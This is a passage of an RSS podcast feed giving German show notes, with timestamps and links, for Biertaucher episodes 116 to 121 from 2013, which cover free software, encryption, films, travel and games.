+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:121</link>
+ <pubDate>Thu, 12 Sep 2013 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher121.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:121&amp;title=Biertaucher%20Folge%20121&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Greor PRIDUN, Johnny ZWENG und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/yJ1MoA oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/yJ1MoA">hier klicken um die Shownotes zur Folge 121</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B>, <b>Greor PRIDUN</B>, <b>Johnny ZWENG</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="https://flattr.com/submit/auto?user_id=horstjens&url=http%3A%2F%2Fspielend-programmieren.at%2Fde%3Apodcast%3Abiertaucher%3A2013%3A121" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 00:02:00 Peter Purgerthofers's Lego Mindstorm Installation zur DRM-Befreiung von <a href="http://derstandard.at/1378248585359/Kindle-Kopierschutz-mit-Lego-Roboter-ausgehebelt">ebooks am Kindle</a>
+</li><li> 00:04:00 Florian war am Neusiedler Radweg unterwegs
+</li><li> 00:06:50 Willi die Opendata-App, welche auf die <a href="https://play.google.com/store/apps/details?id=ch.swift.willi">Daten der Wiener Linien</a> zugreift
+</li><li> 00:11:00 Indigogo: <a href="http://www.indiegogo.com/projects/support-0-a-d-an-open-source-strategy-game">0 A.D. open source real time stragegy game</a> auf indiegogo
+</li><li> 00:15:00 Harald war in Aspang an der Zaya und hat ein <a href="http://www.weinvierteldraisine.at/">Traisinen</a>-Abenteuer erlebt.
+</li><li> 00:32:00 Gregor erzählt über die Podcasts: <a href="http://anyca.st/">anyca.st</a> , <a href="http://rumgelaber.de/">rumgelaber.de</a>, <a href="http://andcast.thenetcasts.com/">thenetcast</a>, <a href="http://hoersuppe.de/">Hörsuppe</a>, <a href="http://bartocast.de/">Bartocast</a>
+</li><li> 00:41:00 Gregor Adventure Games Android: <a href="https://play.google.com/store/apps/details?id=com.replay.LeisureSuitLarry&hl=de">Leisure Suite Larry</a> , <a href="https://play.google.com/store/apps/details?id=com.mojotouch.simon&hl=de">Simon the Sorcerer</a>
+</li><li> 00:45:00 Diskussion über die Zukunft von Gamingplattformen und Hardware generell
+</li><li> 00:55:22 Diskussion über den zukünftigen Umgang mit Computern. Kommt eine Generation von reinen Konsumenten?
+</li><li> 01:02:00 <a href="http://www.golem.de/news/grafiktreiber-intel-verweigert-xmir-unterstuetzung-1309-101482.html">Intel stellt seine Unterstützung für XMIR ein</a>. XMIR ist der Xserver-Nachfolger von Canonical. Diskussion über Ubuntu und die Verwendung und Entwicklung von Linuxdistributionen.
+</li><li> 01:31:20 Die <a href="https://auspacken.wordpress.com/2013/09/06/objekt-u-s/">NSA-Villa in Wien</a> / Horst war auf der <a href="http://horstjens.blogspot.co.at/2013/09/frehieht-statt-angst-demonstration.html">"Freiheit statt Angst"</a> Demo.
+</li><li> 01:56:00 Horst war im Kino: <a href="http://derstandard.at/1376534665080/Das-Maedchen-Wadjda-Bei-meiner-weiblichen-Ehre-bei-meinem-Fahrrad">"Das Mädchen Wadjda"</a>
+</li><li> 02:08:30 Harald erzählt über <a href="http://www.osdomotics.com/">OSdomotics Hardware</a>, welche auf der Froscon vorgestellt worden ist.
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher121.mp3" length="95025117" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Harald fährt mit Traisinen, Florian radelt im Burgenland, Gregor hört Podcasts und spielt Point and Click Adventures, Horst war auf der Freiheit statt Angst Demo und im Kino u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/yJ1MoA http://biertaucher.at
+</itunes:summary>
+<itunes:duration>2:11:55</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 121, kindle, ebook, drm, adventuregames, opendata, wiener linien, kino, xmir, nsa, demonstration, freiheit statt angst, saudiarabien, das mädchen wadjda, osdomotics, traisinen
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 120</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:120</link>
+ <pubDate>Wed, 04 Sep 2013 14:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher120.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:120&amp;title=Biertaucher%20Folge%20120&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Greor PRIDUN und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/bX36Nl oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/344501/Biertaucher-Podcast-allgemein
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/bX36Nl">hier klicken um die Shownotes zur Folge 120</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B>, <b>Greor PRIDUN</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/344501/Biertaucher-Podcast-allgemein" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:55 Aufruf: <a href="http://www.freiheit-statt-angst.org/1315/freedom-not-fear-2013/">Freiheit statt Angst</a> Demonstration in Wien am Samstag
+</li><li> 0:02:35 Film: <a href="http://de.wikipedia.org/wiki/Mad_Max">Mad Max</a> (Teil 1, von 1979) von mit Mel Gibson
+</li><li> 0:07:30 Dokuwiki <a href="https://www.dokuwiki.org/plugin:metaheaders">Plugin Metaheaders</a> (um Youtube oder Google+ Seiten mit Dokuwiki-Subseiten zu verknüpfen), Google Analytics, Mediawiki
+</li><li> 0:18:14 Wien Bericht: Gregor lebt zufrieden nahe der Fußgängerzone Mariahilferstraße, "Shared Space" zwischen Fußgängern, Radfahrern und Autofahrern, Haralds erforscht mit 3 Kindern durch die Mariahilferstraße
+</li><li> 0:30:50 Technik: <a href="http://derstandard.at/1376534299896/Tesla-Model-S-Das-Ende-aller-Ausreden">Tesla Roadster Elektroauto</a>
+</li><li> 0:45:00 <a href="http://de.wikipedia.org/wiki/MOOC">Massive Open Online Courses</a>: Florian hat einen online Kurs bei <a href="https://www.udacity.com">udacity</a> ausprobiert und zieht Vergleiche zu <a href="https://www.coursera.org/">Cousera</a>,
+</li><li> 1:05:18 OSDOmotics-Projekte für den Herbst: Smarthome-Stammtisch, Gamecity Wien, Robot Challenge, Funkroboter. Haustechnik: Led-Strips, Rolladensteuerung, Heizungssteuerung
+</li><li> 1:14:32 Kino: <a href="https://en.wikipedia.org/wiki/Magnifica_Presenca">Magnificia Presenca</a> italienischer Kinofilm über Schauspieler und Geister
+</li><li> 1:21:14 Webvideo: Funny or die: <a href="http://www.chip.de/video/iSteve-Video_61564460.html">I Steve</a> Parodie über Steve Jobs
+</li><li> 1:24:00 Harald war (mit Kindern) im Kino: <a href="http://www.xn--monsteruniversitt-5qb.de/">Pixars Monsters University 2</a>, 3D Kinofilme
+</li><li> 1:34:54 Gruselfilme: The Conjuring, <a href="https://en.wikipedia.org/wiki/Cube_(film)">The Cube</a> inkl. Fortsetzungen
+</li><li> 1:36:00 Film: <a href="https://en.wikipedia.org/wiki/Nothing_(film)">Nothing (Film)</a>, I am Legend, Vanilla Sky
+</li><li> 1:37:54 <a href="http://www.rocketjump.com/category/vghs">Video Game HighSchool Season 2</a>, Kickstarter finanziert
+</li><li> 1:42:26 Podcast: <a href="http://www.schwarmtaler.de/">Schwarmthaler</a> , ein Podcast über Kickstarter Projekte (und andere crowd-funding Plattformen)
+</li><li> 1:49:39 Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=32">Bitcoin-Update 41</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher120.mp3" length="79415666" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Florian berichten über die Froscon Linuxkonferenz, Interviews mit sehr jungem Pygame Workshopleiter, Interview mit Gamescon Besuchern, Buchbesprechung: Daemon, Verschlüsselung, Thomas Perl über Gpodder u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/bX36Nl http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/344501/Biertaucher-Podcast-allgemein</itunes:summary>
+<itunes:duration>1:50:14</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 120, Magnificia Presenca, Udacatiy, Coursera, Freiheit statt Angst, Video Game High School, Dokuwiki, Metaheaders, Mariahilferstraße, Wien, Tesla, Udacity, iSteve, Schwarmtaler
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 119</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:119</link>
+ <pubDate>Thu, 29 Aug 2013 09:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher119.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:119&amp;title=Biertaucher%20Folge%20119&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Greor PRIDUN, Thomas PERSL, Johnny ZWENG und Martin MAYR plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/HOCDn2 oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1879152/Biertaucher-Podcast-Folge-119
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/HOCDn2">hier klicken um die Shownotes zur Folge 119</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B>, <b>Greor PRIDUN</B>, <b>Thomas PERSL</B>, <b>Johnny ZWENG</B> und <b>Martin MAYR</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1879152/Biertaucher-Podcast-Folge-119" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:02:39 Reportage Horst war mit Florian auf der <a href="http://www.froscon.de/startseite/">Froscon Linuxkonferenz</a>, Florians SmartSarah Vortrag, PYthon/Pygame Vortrag, Programmieren lernen mit Minecraft (siehe auch Interview), Thomas Perö's Frage ans Publikum (Gewinnspiel): eine IP mehrere Domains, wie heißt das ?
+</li><li> 0:14:18 Auswirkungen von ebook-readern und Ebooks auf (edv) Fachbuchhandlung, Erfahrung mit Ebook-Reader, Zukunft von Papierbüchern
+</li><li> 0:19:00 Florian berichtet über seinen ersten Froscon Besuch: Django Workshop, Key-Signing, CA-Cert, Browser-Verschlüsselung
+</li><li> 0:40:39 <a href="http://www.game-city.at/">GameCity</a> Konferenz in Wien, Frog-Fachkonferenz, Subotron
+</li><li> 0:43:17 Jörg's Buchempfählung: Daniel Suarez <a href="http://www.amazon.de/gp/product/3499256436/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3499256436&linkCode=as2&tag=spielendprogr-21">Daemon: Die Welt ist nur ein Spiel</a>
+</li><li> 0:50:54 <a href="https://github.com/gpodder/detlef">Detlev</a> gpodder Android Podcast Client (Github Projekt)
+</li><li> 0:53:30 Horst über <a href="http://spielend-programmieren.at">spielend-programmieren</a> Kinder Computerkurse mit Git (Github, Bitbucket, Gitlab, Gitorious...)
+</li><li> 0:57:55 Thomas über <a href="https://gpodder.net/">Gpodder.net</a> Podcast Web-plattform, OPLM Dateien
+</li><li> 1:00:00 Johnny über Daemon (Buchempfehlung), Kill Decision
+</li><li> 1:02:00 Florians Themenliste: <a href="http://de.wikipedia.org/wiki/Jolla">Jolla</a>, <a href="http://en.wikipedia.org/wiki/Sailfish_OS#Sailfish_OS">Sailfish OS</a>,
+</li><li> 1:04:40 <a href="http://en.wikipedia.org/wiki/Ubuntu_Edge">Ubuntu Edge</a> hat Kickstarter Ziel nicht erreicht
+</li><li> 1:07:20 <a href="http://l3t.eu/2.0/beispiel-seite">L3T 2.0</a> Über das Internet gemeinsam erstelltes Lehrbuch über Computer und Pädagogik</a>
+</li><li> 1:09:09 Johnny über html5 Audio encoding (Audio ohne Flash) auf Samsung Geräten
+</li><li> 1:11:14 Florian über Keysigning auf der Froscon: Caff u.ä. <a href="https://github.com/kelvan/gpg_sign_import">Florian's Keysigning Python Skript</a> auf Github
+</li><li> 1:19:00 Gewinnspiel
+</li><li> 1:21:48 Werbung: Inhaltsverzeichnis <a href="http://bitcoinupdate.com/index.php?id=31">Bitcoin-Update 40</a>
+</li><li> 1:22:59 Interview: Python/Pygame workshop auf der Froscon für Kinder. Schlechte Audioqualität, besser auf <a href="http://youtu.be/TmtsSt18nug">Youtube</a>
+</li><li> 1:49:04 Interview: Dominik und Marvin erzählen von Ihrem Besuch auf der <a href="http://www.gamescom.de/de/gamescom/home/index.php">Gamescon</a>, Starcraft2
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher119.mp3" length="83055976" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Florian berichten über die Froscon Linuxkonferenz, Interviews mit sehr jungem Pygame Workshopleiter, Interview mit Gamescon Besuchern, Buchbesprechung: Daemon, Verschlüsselung, Thomas Perl über Gpodder u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/HOCDn2 http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1879152/Biertaucher-Podcast-Folge-119</itunes:summary>
+<itunes:duration>1:55:18</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 119, Froscon, Ca-Cert, Key Signing, Linuxkonferenz, ÖBB, Bahn, Deutschland, Python, Pygame, Workshop, Gamescon, Buchbesprechung, Daemon, Daniel Suarez, Gpodder, OsDomotics, ebook, Buchhandel, Minecraft, Ebook-Reader, Nerd, GameCity,
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 118</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:118</link>
+ <pubDate>Wed, 21 Aug 2013 23:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher118.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:118&amp;title=Biertaucher%20Folge%20118&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Greor PRIDUN, Harald PICHLER, Johnny ZWENG und Martin MAYR plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/TlDYSu oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1841007/Biertaucher-Podcast-Folge-118
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/TlDYSu">hier klicken um die Shownotes zur Folge 118</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B>, <b>Greor PRIDUN</B>, <b>Harald PICHLER</B>, <b>Johnny ZWENG</B> und <b>Martin MAYR</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1841007/Biertaucher-Podcast-Folge-118" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:20 Gregor befördert <a href="http://wukonig.com">unseren Sponsor</a> zu DER Agentur, Inhaltsverzeichnis: Worüber wir reden wollen
+</li><li> 0:02:12 Martins beschäftigt sich mit PGP und Festplattenverschlüsselung (<a href="http://de.wikipedia.org/wiki/Solid-State-Drive">SSD</a>), Wohin mit den private Keys ? u.a. <a href="http://de.wikipedia.org/wiki/BitLocker">Bitlocker</a>, <a href="http://de.wikipedia.org/wiki/Skydrive">Skydrive</a>, <a href="http://de.wikipedia.org/wiki/Truecrypt">TrueCrypt</a>,
+</li><li> 0:10:23 Johnny über die <a href="http://www.reddit.com/r/netsec/comments/1kg2pa/guessing_the_android_securerandom_vulnerability/">Adroid-Random-Seed Sicherheitslücke</a> und deren Auswirkungen (Secure Random Klasse), <a href="http://de.wikipedia.org/wiki/CyanogenMod">CyanogenMod</a>
+</li><li> 0:27:59 arbeiten mit mehreren Google Accounts, Google+ und youtube verknüpfen, <a href="http://www.youtube.com/channel/UCSPfDxsrvTvIz1XmkTd5fww?feature=watch">Biertaucher Youtube Channel</a>
+</li><li> 0:29:13 schöner Leben: Martin macht <a href="http://claudia.hahler.de/hollundermarmelade-holundermarmelade">Hollermarmelade</a> mit <a href="http://de.wikipedia.org/wiki/Agar_Agar">Agar Agar</a>
+</li><li> 0:32:16 Florian hat 2 verschiedene Vertäge beim Handyanbieter <a href="http://drei.at">Drei</a> und lästert über nicht-funktionierende Services, Übernahme von Orange, neue Tarifmodelle etc und berichtet über den <a href="http://derstandard.at/1376533941391/Aus-fuer-Gratis-Roaming-3LikeHome-erzuernt-Kunden">3 Like home Shitstorm</a>, Roaminggebühren, "Leecher"
+</li><li> 0:40:55 schöner Reisen: Harald fährt mit der ÖBB über den Semmering in überfülltem, überlangem Zug .... und kommt pünktlich in Wien an. DBB Probleme in Mainz
+</li><li> 0:45:12 Kino: Horst und Florian waren im Johnny Depp Western "Lone Ranger", Man's Night im Artis Kino. Dreckige, dunkle Westernserien: <a href="http://de.wikipedia.org/wiki/Hell_on_Wheels_(Fernsehserie)">Hells on Wheel</a>, <a href="http://de.wikipedia.org/wiki/Deadwood_(Fernsehserie)">Deadwood</a>
+</li><li> 0:51:00 Kino: Gregor war nicht begeistert von <a href="http://en.wikipedia.org/wiki/Elysium_(film)">Elysium</a>, ganz im Gegensatz zu Horst. War <a href="http://en.wikipedia.org/wiki/District_9">District 9</a> besser ?
+</li><li> 0:55:22 Kino: Gregor hat isch zur Erholung von Elysium <a href="http://en.wikipedia.org/wiki/Kick-Ass_2_(film)">Kick-Ass2</a> angeschaut
+</li><li> 0:57:00 schöner basteln: Harald hat einen Roboter gebastelt (Bausatz zum selberlöten) und mit 6lowPan Funkmodul ("Merkurboard") ausgerüstet. Demnächst im OSDomotics Shop
+</li><li> 1:10:42 wir Biertaucher Unterstützer, wir bedanken uns für die 17 (!) Euro Flattr Unterstützung im Juli
+</li><li> 1:11:23 Inhaltsverzeichnis vom neusten <a href="http://bitcoinupdate.com/index.php?id=30">Bitcoin-Update Podcast</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher118.mp3" length="51764781" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Harald fährt Zug und lötet Funkroboter, Kino: Elysium, Lone-Ranger, Kick-Ass2, Johnny zu Android-Sicherheitslücken, Martins über Hollermarmelade und Festplattenverschlüsselung, Florian über drei</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/TlDYSu http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1841007/Biertaucher-Podcast-Folge-118</itunes:summary>
+<itunes:duration>1:11:53</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 118, PGP, Verschlüsselung, Festplattenverschlüsselung, private key, Bitlocker, Skydrive, TrueCrypt, Android, Sicherheitslücke, CyanogenMod, Google+, Youtube, Holler, Holunder, Marmelade, Agar Agar, drei, 3likehome, ÖBB, DB, Mainz, Lo
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 117</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:117</link>
+ <pubDate>Wed, 14 Aug 2013 10:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher117.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:117&amp;title=Biertaucher%20Folge%20117&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Greor PRIDUN, Harald PICHLER, Johnny ZWENG und Martin MAYR plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/6uVm12 oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1802936/Biertaucher-Podcast-Folge-117
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/6uVm12">hier klicken um die Shownotes zur Folge 117</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B>, <b>Greor PRIDUN</B>, <b>Harald PICHLER</B>, <b>Johnny ZWENG</B> und <b>Martin MAYR</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1802936/Biertaucher-Podcast-Folge-117" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:01:14 Martin (ist wieder da und) trinkt Weihnachtsbier
+</li><li> 0:02:00 worüber wir reden werden
+</li><li> 0:03:07 Martin war am <a href="http://www.attac.at/events/sommerakademie.html">Attac Sommerakademie (Eisenstadt)</a>: Reset Finance ... Finanzierung(sprodukte) der Natur (CO2 Zetrtikfikate, Regenwaldzertifikate in Brasilien, Ausgleichsflächen für Straßenbau etc)
+</li><li> 0:09:30 <a href="http://en.wikipedia.org/wiki/Tragedy_of_the_commons">Tragedy of the Commons</a>
+</li><li> 0:12:11 Alpenverein, Bewertung von Bergflächen, Freiwilligkeit bei Instandhaltungsarbeiten (Wanderwege etc)
+</li><li> 0:16:15 GHregor warnt vor schlechten Analogien, Dienstleistungen mit freie Software (Ökosystem)
+</li><li> 0:20:03 <a href="http://www.forbes.com/sites/timworstall/2013/06/26/fun-number-google-now-larger-than-apple/">Google größer als Apple</a> und Microsoft ?
+</li><li> 0:22:00 Jhonny hat tauchen gelernt ( mit Tauchcomputer ), Sticktoff im Blut, Film: <a href="http://de.wikipedia.org/wiki/Im_Rausch_der_Tiefe">Rausch der Tiefe</a>
+</li><li> 0:34:47 verschlüsselte Kommunikation, Cryptocat, closed Source, <a href="http://www.washingtonpost.com/blogs/worldviews/wp/2013/07/30/the-free-web-program-that-got-bradley-manning-convicted-of-computer-fraud/">Bradley Manning wird u.a. angeklagt weil er WGET benutzt hat</a>
+</li><li> 0:37:00 <a href="http://www.spiegel.de/netzwelt/web/lavabit-mail-anbieter-stellt-dienst-ein-a-915630.html">Lavapit</a> (Texas, USA) schließt Email-Anonymisierungs-Service (NAA, Snowden), <a href="http://en.wikipedia.org/wiki/Silent_Circle_(software)">Silent Circle</a>
+</li><li> 0:40:00 Airsync Veröffentlichkeitsstrategie trotz Veröffentlichungsverbot
+</li><li> 0:41:25 Holzhammerargumente wie "Ich hab nix zu verbergen", <a href="http://www.storyleak.com/wi-fi-trashcans-tracking-your-smartphone-data/">Spionagemistkübel</a> in Großbritannien
+</li><li> 0:46:22 <a href="http://www.phonearena.com/news/Analyst-says-Nokia-should-adopt-Android-before-its-too-late_id44787">Nokia zurück zu Android</a> ? Microsoft, Hardcore Gaming.
+</li><li> 0:51:20 OsDomotics: Roboter zum selber bauen, mit 6lowPan Funkmodul (siehe Fotos)
+</li><li> 0:54:56 Gregor hat die Comicreihe <a href="http://www.amazon.de/gp/product/1401238637/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=1401238637&linkCode=as2&tag=spielendprogr-21"">Der Sandmann</a> gelesen, 0:58:14 schlechter Internetempfang in österreichischen Zügen (ÖBB)
+</li><li> 1:08:30 Harald's Erfahrungen mit Cash4Web (prepaid-Kreditkarte)
+</li><li> 1:11:40 Sicherheitsleck bei Android's Random-Funktion (wichtig für Bitcoin-Walltes am Android), private key storage management, backup Strategie, Cloud Storage
+</li><li> 1:18:08 Harald endeckt SSH: Tunneln mit IPV6
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher117.mp3" length="59204424" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny lernt Tauchen, Harald baut Roboter, kauft Kreditkarten und erfreut sich an SSH, Gregor liest Sandmann-Comics, Horst schweigt, Martin ist wieder da und berichtet vom Attac-Treffen u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/6uVm12 http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1802936/Biertaucher-Podcast-Folge-117</itunes:summary>
+<itunes:duration>1:22:13</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 117, Attac, CO2 Zertifikate, Regenwald, Finanzierungsprodukte, Tragedy of the commons, Alpenverein, Google, Tauchen, Tauchcomputer, Rausch der Tiefe, Bradley Manning, Snowden, NSA, Verschlüsselung, Demokratie, geheime Gerichtsbeschlü
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 116</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:116</link>
+ <pubDate>Thu, 08 Aug 2013 06:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher116.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:116&amp;title=Biertaucher%20Folge%20116&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT und Greor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/VNL2i1 oder http://biertaucher.at Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1771380/Biertaucher-Podcast-Folge-116
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/VNL2i1">hier klicken um die Shownotes zur Folge 116</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B> und <b>Greor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1771380/Biertaucher-Podcast-Folge-116" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:01:00 Inhaltsverzeichnis ( worüber wir reden werden)
+</li><li> 0:02:16 Horst hat sich einen <a href="http://www.amazon.de/gp/product/B00CFV0SRC/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00CFV0SRC&linkCode=as2&tag=spielendprogr-21">Kobo Aura HD Ebook-Reader</a> gekauft
+</li><li> 0:12:19 Florian war im Burgenland (Ungarn / Mörbisch) radfahren
+</li><li> 0:17:40 Gregor ist in Vorarlberg mit der <a href="http://de.wikipedia.org/wiki/W%C3%A4lderbahn">Wälderbahn</a> gefahren
+</li><li> 0:20:00 Android Spiele die ohne Internetverbindung nicht funktionieren (rayman)
+</li><li> 0:21:57 Horst freut sich auf <a href="http://www.illwinter.com/dom4/">Dominoins4</a> ( fantasy runden strategie) auf Desura
+</li><li> 0:29:11 Gregor auf Bier-recherche: Fohrensburger, Mohrenbräu, Egg Spezial, Kellerbiere
+</li><li> 0:32:00 Florian hat sich auf den Cousera Kurs "Social Psychology" angemeldet
+</li><li> 0:34:47 Europython Vortrag: Iron python als Werkzeug für Mathekmatikunterricht
+</li><li> 0:37:47 Psychologie-Effekte (Social Psychology, <a href="https://www.coursera.org/">Cousera</a> online Kurse , Lineare Algebra
+</li><li> 0:44;47 Horst über seine spielend-programmieren Projekte: <a href="http://ThePythonGameBook.org">ThePythonGameBook</a>, <a href="https://github.com/horstjens/stallmancomic">Stallman Comic</a>, Gamecity, <a href="http://shop.fsf.org/product/free-as-in-freedom-2/">Free As Freedom 2.0</a>
